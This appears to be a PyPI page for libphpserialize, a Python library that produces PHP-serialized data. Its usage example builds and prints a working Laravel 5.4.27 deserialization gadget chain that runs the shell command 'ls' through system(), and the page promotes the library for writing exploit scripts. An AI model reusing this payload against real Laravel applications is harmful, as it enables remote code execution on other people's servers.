libphpserialize
A port of PHP's serialize function, in pure python
Installation
pip install libphpserialize
Features
- serialize objects directly from python objects
- nested objects
- namespacing
- variable Access Modifiers (public, private, protected)
Example
from phpserialize import serialize
from phpserialize.decorators import namespace
import requests
@namespace('Faker')
class Generator:
protected_formatters = {'dispatch': 'system'}
@namespace('Illuminate\Broadcasting')
class PendingBroadcast:
protected_event = 'ls'
protected_events = Generator()
print(serialize(PendingBroadcast()))
with above code, you'll get:
O:40:"Illuminate\Broadcasting\PendingBroadcast":2:{s:9:"*events";O:15:"Faker\Generator":1:{s:13:"*formatters";a:1:{s:8:"dispatch";s:6:"system";}}s:8:"*event";s:2:"ls";}
which triggers an RCE vulnerability in Laravel 5.4.27
nice when you're writing an exploit script for others to read
Important:
- the code is written and tested under python 3.7+
- decimal serialization doesn't work the same as PHP does, yet
TODO
- recursive objects support
- reimplement decimal precision calculating algorithm from php engine
Metadata
Release files for libphpserialize 0.0.8
For a detailed explanation of source distributions (sdists) and built distributions (wheels), please see the package formats documentation.
Source distribution (sdist)
| File | Size | Uploaded | Provenance | Actions |
|---|---|---|---|---|
| libphpserialize-0.0.8.tar.gz | 5.1 kB | Without provenance | Details for libphpserialize-0.0.8.tar.gz |
Built distribution (wheel)
| File | Interpreter | ABI | Platform | Actions Reset |
|---|---|---|---|---|
| libphpserialize-0.0.8-py3-none-any.whl | Python 3 | none | any | Details for libphpserialize-0.0.8-py3-none-any.whl |
Total release size: 11.3 kB
Release files / libphpserialize-0.0.8.tar.gz
| Download URL | libphpserialize-0.0.8.tar.gz |
|---|---|
| Size | 5.1 kB |
| Tags | Source |
|
SHA-256 checksum How to use checksums |
ad72e7ff47ddad6d576e7ff7b1ce26d0d4f0d2c0c5a578cb10c4181c39b34856
|
|
BLAKE2b-256 checksum How to use checksums |
7a2bd8241fec1ab38308b24cfaf53ea81ef4532fa11fa42a19d5e5e51a12e5d0
|
| Upload date | |
|
Uploaded using Trusted Publishing? What is trusted publishing? |
No |
| Uploaded via |
twine/4.0.1 CPython/3.10.6
|
Release files / libphpserialize-0.0.8-py3-none-any.whl
| Download URL | libphpserialize-0.0.8-py3-none-any.whl |
|---|---|
| Size | 6.2 kB |
| Tags | Python 3 |
|
SHA-256 checksum How to use checksums |
7f2940ae00e22978076323fc7471531eb95967d45edd940fa0f014466e4d9519
|
|
BLAKE2b-256 checksum How to use checksums |
e2bdd4375797c38b53143ed9c82fdf1a25df7664dc60fa6c75c0d947aef8b693
|
| Upload date | |
|
Uploaded using Trusted Publishing? What is trusted publishing? |
No |
| Uploaded via |
twine/4.0.1 CPython/3.10.6
|
Security for libphpserialize 0.0.8
Provenance
Provenance describes where a file came from. On PyPI, provenance is shared via attestations, which provide a verifiable record of the build or publishing details. View details, limitations and caveats.
No provenance found
None of the files in this release were uploaded with provenance metadata.
A note on package security
PyPI is a repository for distributing packages, not a service for auditing them. While third-party security researchers and our staff do their best to detect and remove malicious packages, PyPI cannot guarantee the quality, security or suitability of any given package.
To learn more about protecting yourself from malicious actors, visit our package security documentation.